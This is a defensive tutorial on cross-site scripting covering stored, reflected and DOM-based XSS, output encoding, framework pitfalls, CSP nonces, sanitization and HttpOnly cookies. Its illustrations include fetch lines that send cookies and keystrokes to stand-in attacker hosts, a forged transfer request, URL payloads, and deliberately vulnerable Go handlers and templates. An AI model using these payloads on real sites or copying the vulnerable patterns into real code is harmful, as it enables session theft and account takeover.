XSS Attack #

Cross-Site Scripting (XSS) is a vulnerability where attackers manage to inject JavaScript into a web page that is then executed by the victim’s browser. What makes XSS different from most other attacks: attackers don’t attack the server — they attack users through the server. Scripts running in the victim’s browser run with the full context of the application’s domain: access to cookies, localStorage, sessions, and the ability to make requests on the user’s behalf.

Imagine this scenario: a user opens a forum page they’ve trusted before. On that page there’s a comment containing a hidden script. The victim’s browser executes that script — and within a split second, the session token is stolen and sent to the attacker’s server. The victim sees nothing suspicious. No popups, no broken pages. But their account is already compromised.

This isn’t a theoretical scenario. It’s a real pattern that has happened on major sites — MySpace, eBay, British Airways — and still keeps happening in applications that don’t handle output encoding correctly.

Why XSS Is Very Dangerous #

The fundamental difference between XSS and SQL Injection: SQLi attacks the database, XSS attacks users. And the browser is a very rich environment to exploit.

What a script in the victim's browser can do:

  Session theft:
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
  → If cookies aren't HttpOnly, the session token is stolen
  → The attacker logs in as the victim from their side

  Keylogging:
  document.addEventListener('keypress', function(e) {
      fetch('https://attacker.com/keys?k=' + e.key)
  })
  → Everything the victim types (including passwords) is sent to the attacker

  Actions on the user's behalf (CSRF via XSS):
  fetch('/api/transfer', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({to: 'attacker', amount: 10000000})
  })
  → The request is sent with a valid session — the server can't distinguish
    this from a legitimate user request

  Phishing on the real domain:
  document.body.innerHTML = '<form>..fake login..</form>'
  → Users don't suspect anything because they're still on the right domain
  → Entered credentials are sent to the attacker
sequenceDiagram
    participant A as Attacker
    participant S as Server/DB
    participant V as Victim Browser

    Note over A,V: Stored XSS — the most dangerous

    A->>S: POST /comments {text: "<script>steal()</script>"}
    S->>S: Save to the database without sanitization
    V->>S: GET /page (the victim opens the page)
    S->>V: Response HTML containing the attacker's script
    V->>V: Browser executes the script
    V->>A: fetch("/steal?c=" + cookie) — session stolen!

The Three XSS Types #

1. Stored XSS (Persistent XSS) #

The malicious script is stored in the database and executed every time anyone accesses the page. This is the most dangerous type because one payload can attack many victims at once.

Stored XSS scenario on a forum/comment system:

  1. The attacker submits a comment with a payload:
     <script>
       fetch('https://evil.com/steal?s=' +
         encodeURIComponent(document.cookie))
     </script>

  2. The server stores the comment in the database without sanitization

  3. Every user opening that page:
     → The browser receives HTML containing the script
     → The browser executes the script (trusting it's part of the app)
     → Session cookies are sent to the attacker's server

  Impact: all users opening that page are compromised
  one payload = many victims = large attack scale
// Go — vulnerable backend (net/http)

// POST /comments — stored directly without any sanitization
func createComment(w http.ResponseWriter, r *http.Request) {
    var req struct{ Text string }
    json.NewDecoder(r.Body).Decode(&req)
    Comment.Create(req.Text) // stored directly without any sanitization
    w.Write([]byte(`{"status":"ok"}`))
}

// GET /post/{postId} — rendered directly
func showPost(w http.ResponseWriter, r *http.Request) {
    postID := strings.TrimPrefix(r.URL.Path, "/post/")
    post := Post.Get(postID)
    comments := Comment.ByPost(postID)
    // Rendered directly — comments containing <script> will be executed by browsers
    renderTemplate(w, "post.html", post, comments)
}
<!-- Vulnerable template -->
{% for comment in comments %}
  <div class="comment">
    {{ comment.text | safe }}  ← | safe disables auto-escaping!
  </div>
{% endfor %}

<!-- Safe template — Jinja2 auto-escapes by default -->
{% for comment in comments %}
  <div class="comment">
    {{ comment.text }}  ← auto-escaped: <&lt;, > → &gt;, etc.
  </div>
{% endfor %}

2. Reflected XSS #

The script isn’t stored on the server — it lives in the URL or request parameters, directly “reflected” back in the response. Attackers must send the malicious URL to victims for the attack to succeed.

Reflected XSS scenario — a search endpoint:

  The malicious URL the attacker sends to the victim (via email, chat, etc.):
  https://app.example.com/search?q=<script>alert(document.cookie)</script>

  The server processes and renders:
  <h2>Search results for: <script>alert(document.cookie)</script></h2>

  The victim's browser receives this HTML and executes the script.
// Go — vulnerable backend (net/http)
func search(w http.ResponseWriter, r *http.Request) {
    query := r.URL.Query().Get("q")
    results := Product.WhereNameContains(query)

    // Renders the query directly into the template without encoding
    renderTemplate(w, "search.html", query, results)
}
<!-- Vulnerable template -->
<h2>Search results for: {{ query | safe }}</h2>
<!-- query can contain <script>...</script> -->

<!-- Safe template -->
<h2>Search results for: {{ query }}</h2>
<!-- Jinja2 auto-escaping changes < into &lt; -->
<!-- <script> appears as text, not executed -->

3. DOM-Based XSS #

Happens entirely client-side. The server isn’t involved in delivering the payload — the malicious script appears because JavaScript on the page takes values from unsafe sources (URL fragments, postMessage, localStorage) and inserts them into the DOM without encoding.

This is the type most often missed in security reviews because it isn’t visible in the HTML the server sends — it’s only visible in runtime JavaScript.

// Unsafe sources for DOM manipulation:

// 1. location.hash — never sent to the server, so no server-side protection
const productId = location.hash.slice(1);
document.getElementById('product').innerHTML = productId;
// URL: https://app.com/products#<img src=x onerror=alert(1)>
// The browser will execute the onerror handler!

// 2. location.search — URL parameters
const params = new URLSearchParams(location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// URL: https://app.com/?name=<script>alert(1)</script>

// 3. document.referrer
document.getElementById('back').innerHTML = 'Back to: ' + document.referrer;

// 4. postMessage without origin validation
window.addEventListener('message', function(event) {
    // No event.origin validation!
    document.getElementById('content').innerHTML = event.data;
});
// Solution for DOM-based XSS — use textContent, not innerHTML

// ANTI-PATTERN: innerHTML accepts and executes HTML
element.innerHTML = userControlledValue;

// CORRECT: textContent only accepts text, HTML characters auto-escaped
element.textContent = userControlledValue;

// CORRECT: setAttribute for values inside attributes
const link = document.createElement('a');
link.textContent = linkText;  // not innerHTML
link.href = validateUrl(url); // validate the URL before setting
container.appendChild(link);

// If HTML rendering is REALLY needed (e.g. rich text editors):
// Use DOMPurify to sanitize before inserting into innerHTML
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(richTextContent);
// DOMPurify removes dangerous tags and attributes
// but preserves legitimate formatting

Output Encoding Contexts: Not One Size Fits All #

A common mistake: developers know about HTML encoding but don’t realize the correct encoding method depends on the context where the value is displayed.

<!-- Context 1: HTML content — use HTML entity encoding -->
<p>Name: {{ user.name }}</p>
<!-- Ali → Ali ✓ -->
<!-- <script>... → &lt;script&gt; ✓ (not executed) -->

<!-- Context 2: HTML attributes — different encoding needed -->
<input value="{{ user.name }}">
<!-- If the name contains " or ' it can break the attribute -->
<!-- Correct: use a template engine handling this automatically -->
<!-- Or manually: replace " with &quot; -->

<!-- Context 3: JavaScript — different encoding again! -->
<script>
  var username = "{{ user.name }}";
  // If the name contains ", this breaks the string and opens an XSS hole
  // Example dangerous name: "; alert(1); //
</script>

<!-- CORRECT for Context 3: use JSON encoding -->
<script>
  var username = {{ user.name | tojson }};
  // tojson produces: "Ali" (with correct escaping)
  // If the name contains dangerous characters, they're escaped to \uXXXX
</script>

<!-- Context 4: URLs — URL encoding -->
<a href="/search?q={{ query | urlencode }}">Search</a>

<!-- Context 5: CSS — rare but needs attention -->
<!-- Never put user input into a CSS context -->
<style>
  .user-color { color: {{ user.color }}; }
  /* Dangerous! expression(), javascript: can execute in old CSS */
</style>

Traps in Modern Frameworks #

Frameworks like React, Vue, and Angular already have built-in XSS protection — but there are several “escape hatches” that open holes when used carelessly.

// React — the dangerouslySetInnerHTML trap
function Comment({ comment }) {
  // ANTI-PATTERN: bypassing React's auto-escaping
  return (
    <div dangerouslySetInnerHTML={{ __html: comment.text }} />
  );
  // The name "dangerously" isn't a coincidence — this is genuinely dangerous
  // If comment.text comes from users, this is XSS

  // CORRECT: let React handle rendering (auto-escape)
  return <div>{comment.text}</div>;
  // React uses textContent underneath — safe from XSS

  // If HTML rendering is REALLY needed (rich text):
  const sanitized = DOMPurify.sanitize(comment.text);
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

// Another React trap: href with javascript:
function UserProfile({ user }) {
  // ANTI-PATTERN: user-supplied URLs can contain javascript:
  return <a href={user.website}>Website</a>;
  // Users can set website = "javascript:alert(document.cookie)"
  // The browser executes the alert when the link is clicked

  // CORRECT: validate the URL before rendering
  function isSafeUrl(url) {
    try {
      const parsed = new URL(url);
      return ['https:', 'http:'].includes(parsed.protocol);
    } catch {
      return false;
    }
  }

  return isSafeUrl(user.website)
    ? <a href={user.website}>Website</a>
    : <span>Invalid website</span>;
}
<!-- Vue  the v-html trap -->
<template>
  <!-- ANTI-PATTERN: v-html bypasses Vue's auto-escaping -->
  <div v-html="comment.text"></div>

  <!-- CORRECT: regular interpolation (auto-escaped) -->
  <div>{{ comment.text }}</div>

  <!-- If rich text is needed: sanitize first -->
  <div v-html="sanitize(comment.text)"></div>
</template>

<script>
import DOMPurify from 'dompurify';
export default {
  methods: {
    sanitize(html) {
      return DOMPurify.sanitize(html);
    }
  }
}
</script>

Content Security Policy (CSP) That’s Actually Effective #

CSP is an HTTP header instructing browsers about which sources are allowed for scripts, styles, images, etc. A correctly configured CSP is a very effective defense-in-depth layer against XSS — even if an XSS hole exists, the browser refuses to execute scripts that don’t match the policy.

CSP levels from weak to strong:

  Level 0 — No CSP (no protection):
  [no Content-Security-Policy header]

  Level 1 — CSP exists but weak (false security):
  Content-Security-Policy: default-src *; script-src * 'unsafe-inline' 'unsafe-eval'
  → This provides almost no protection at all

  Level 2 — Basic CSP (enough for many applications):
  Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://cdn.trusted.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self' https://api.yourdomain.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';

  Level 3 — CSP with nonces (strongest, removes unsafe-inline):
  Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random-nonce}';
    [a different nonce for every request]
// Go — implementing CSP with nonces (net/http middleware)
func setCSPNonce(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        nonce := randomURLSafe(16)

        // Store the nonce in the request context so templates can use it
        ctx := context.WithValue(r.Context(), cspNonceKey, nonce)
        r = r.WithContext(ctx)

        w.Header().Set("Content-Security-Policy",
            "default-src 'self'; "+
                "script-src 'self' 'nonce-"+nonce+"'; "+
                "style-src 'self' 'unsafe-inline'; "+
                "img-src 'self' data: https:; "+
                "frame-ancestors 'none'; "+
                "base-uri 'self'; "+
                "form-action 'self'")

        next.ServeHTTP(w, r)
    })
}
<!-- Use the nonce on every script tag -->
<script nonce="{{ g.csp_nonce }}">
  // Only scripts with valid nonces are executed
  // Attackers can't inject scripts because they don't know the nonce
  // The nonce changes on every request
  initApp();
</script>

<!-- Scripts without nonces are NOT executed even if present on the page -->
<script>alert('XSS')</script>  ← the browser blocks it — no valid nonce

Start with CSP in “report-only” mode before enforcing. This mode reports violations without blocking — letting you see what would be blocked and fix it before CSP goes live.

Content-Security-Policy-Report-Only:
  default-src 'self';
  report-uri /csp-violation-report;

HTML Sanitization for Rich Text #

There are cases where users genuinely need to insert HTML — rich text editors like in blogs or forums. Here, output encoding alone isn’t enough because we do want the HTML rendered. The solution is sanitization: remove dangerous elements and attributes, keep the safe ones.

// Go — bluemonday (the most widely used HTML sanitization library)

// Default configuration — safe for most cases
clean := bluemonday.UGCPolicy().Sanitize(dirtyHTML)

// Strict configuration — only allow a small HTML subset
p := bluemonday.NewPolicy()
p.AllowElements("b", "i", "em", "strong", "a", "p", "ul", "li", "ol")
p.AllowAttrs("href", "title").OnElements("a")
// Force all links to open in new tabs with rel noopener
p.RequireNoFollowOnLinks(true)
p.RequireNoReferrerOnLinks(true)
p.AddTargetBlankToLinks(true)
clean := p.Sanitize(dirtyHTML)

// Configuration to prevent data: URLs (usable for XSS)
// bluemonday strips event-handler attributes and data: URLs by default:
// only whitelisted attributes and http/https/mailto schemes are allowed
clean := p.Sanitize(dirtyHTML)
// Go — bluemonday (a backend alternative to DOMPurify)

func sanitizeHTML(rawHTML string) string {
    // Only allow the defined tags and attributes
    p := bluemonday.NewPolicy()
    p.AllowElements("b", "i", "em", "strong", "a", "p", "ul", "li", "ol", "br")
    p.AllowAttrs("href", "title", "rel").OnElements("a")
    // Add rel="noopener noreferrer" to all links
    p.RequireNoFollowOnLinks(true)
    p.RequireNoReferrerOnLinks(true)
    // remove disallowed tags (not escape)
    return p.Sanitize(rawHTML)
}

HttpOnly Cookies: Layered Protection #

Even if XSS succeeds, HttpOnly cookies ensure session tokens can’t be stolen through JavaScript.

// Go — XSS-resistant session cookies (net/http)
http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sessionToken,
    HttpOnly: true,  // JavaScript can't read this cookie
    Secure:   true,  // only sent over HTTPS
    SameSite: http.SameSiteLaxMode, // basic CSRF protection
    MaxAge:   3600,  // expires after 1 hour
})

// The HttpOnly effect:
// document.cookie → doesn't contain HttpOnly cookies
// fetch('/steal?c=' + document.cookie) → the session cookie isn't there
// → session theft via XSS fails for HttpOnly cookies
Important: HttpOnly protects COOKIES, not localStorage or sessionStorage.
Data stored in Web Storage CAN be accessed by XSS.

Implications:
✓ Store session tokens in HttpOnly cookies — safe from XSS
✗ Store session tokens in localStorage — stealable via XSS
✗ Store session tokens in sessionStorage — stealable via XSS

If your API uses tokens in Authorization headers:
→ Tokens are usually stored in localStorage (XSS-prone)
→ Consider token rotation and short-lived tokens as mitigations

Anti-Patterns to Avoid #

// ✗ Anti-pattern 1: innerHTML with external data
element.innerHTML = userInput;
element.innerHTML = apiResponse.description;
element.innerHTML = location.hash.slice(1);
// All of these open DOM-based XSS holes

// ✓ Solution:
element.textContent = userInput;                    // for plain text
element.innerHTML = DOMPurify.sanitize(richText);  // for rich text

────────────────────────────────────────────────────────────────────────────

// ✗ Anti-pattern 2: eval() with external data
const data = localStorage.getItem('config');
eval(data);  // if the data is attacker-controlled → RCE in the browser

new Function(userCode)();  // just as dangerous
setTimeout(userInput, 1000);  // setTimeout with strings is also eval!

// ✓ Solution: never eval external data

────────────────────────────────────────────────────────────────────────────

// ✗ Anti-pattern 3: URL redirects without validation
const redirectTo = location.search.get('next');
window.location.href = redirectTo;
// Can redirect to: javascript:alert(1) or https://phishing.com

// ✓ Solution: validate the URL before redirecting
function safeRedirect(url) {
    const safe = new URL(url, window.location.origin);
    if (safe.origin !== window.location.origin) {
        throw new Error('External redirect not allowed');
    }
    window.location.href = safe.href;
}

────────────────────────────────────────────────────────────────────────────

// ✗ Anti-pattern 4: | safe / v-html / dangerouslySetInnerHTML with user data
{# Jinja2 #}
{{ user.bio | safe }}   user.bio can contain scripts

// ✓ Solution: only use "safe" bypasses on already-sanitized content
{{ user.bio | sanitize_html | safe }}   sanitize first, then safe

XSS Prevention Checklist #

OUTPUT ENCODING:
  □ Template engine auto-escaping enabled (default in Jinja2, Blade, Twig)
  □ No | safe, v-html, or dangerouslySetInnerHTML with unsanitized user data
  □ Context-appropriate encoding: HTML, attributes, JavaScript, URLs — different encodings
  □ Data from APIs also encoded before rendering

DOM MANIPULATION:
  □ No innerHTML with data from users/URLs/external sources
  □ textContent used as the default for inserting text
  □ User-supplied URLs protocol-validated before being put into hrefs
  □ postMessage origin-validated before processing

RICH TEXT:
  □ DOMPurify or a sanitization library used for user HTML content
  □ Allowed tags and attributes whitelisted and configured
  □ Sanitization done server-side too, not just client-side

CONTENT SECURITY POLICY:
  □ CSP header installed on all HTML responses
  □ 'unsafe-inline' and 'unsafe-eval' absent unless there's a strong reason
  □ CSP tested in report-only mode before enforcing
  □ Nonces used for scripts that genuinely need to be inline

COOKIES:
  □ Session cookies use the HttpOnly flag
  □ Session cookies use the Secure flag
  □ Session tokens not stored in localStorage

THIRD PARTY:
  □ All third-party scripts source-audited
  □ Subresource Integrity (SRI) used for CDN scripts
  □ No untrusted domain scripts without evaluation

Summary #

  • XSS attacks users through applications — scripts executed by the victim’s browser run with trusted domain context, can steal cookies, perform actions on the user’s behalf, and forge UI.
  • Three XSS types with different implications — Stored (payload saved, many victims), Reflected (payload in URLs, needs social engineering), DOM-based (happens client-side without server involvement, most often missed).
  • Output encoding is the primary defense — encode by context: HTML content, HTML attributes, JavaScript, and URLs have different encodings. Modern template engines do this automatically.
  • innerHTML is the most common XSS gateway — use textContent as the default. If HTML rendering is genuinely needed, sanitize with DOMPurify first.
  • dangerouslySetInnerHTML, v-html, and | safe are red flags — every use must be strictly reviewed. Only safe if the content already passed through a trusted sanitization library.
  • CSP is very effective defense in depth — even if an XSS hole exists, CSP with nonces can prevent attacker scripts from executing.
  • HttpOnly cookies protect sessions from XSS theft — session tokens stored in HttpOnly cookies can’t be read by JavaScript.
  • DOM-based XSS is invisible in server logs — no server trace because it happens entirely client-side. Security reviews must cover JavaScript code, not just backends.
  • Data from APIs isn’t automatically safe data — API responses containing other users’ data still need encoding before rendering. “The data is already in the database” isn’t a safety guarantee.
  • Rich text editors need sanitization, not encoding — when users genuinely need to insert HTML, use strict tag and attribute whitelists with DOMPurify or bleach.
#

← Previous: SQL Injection   Next: Http Only Cookie

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact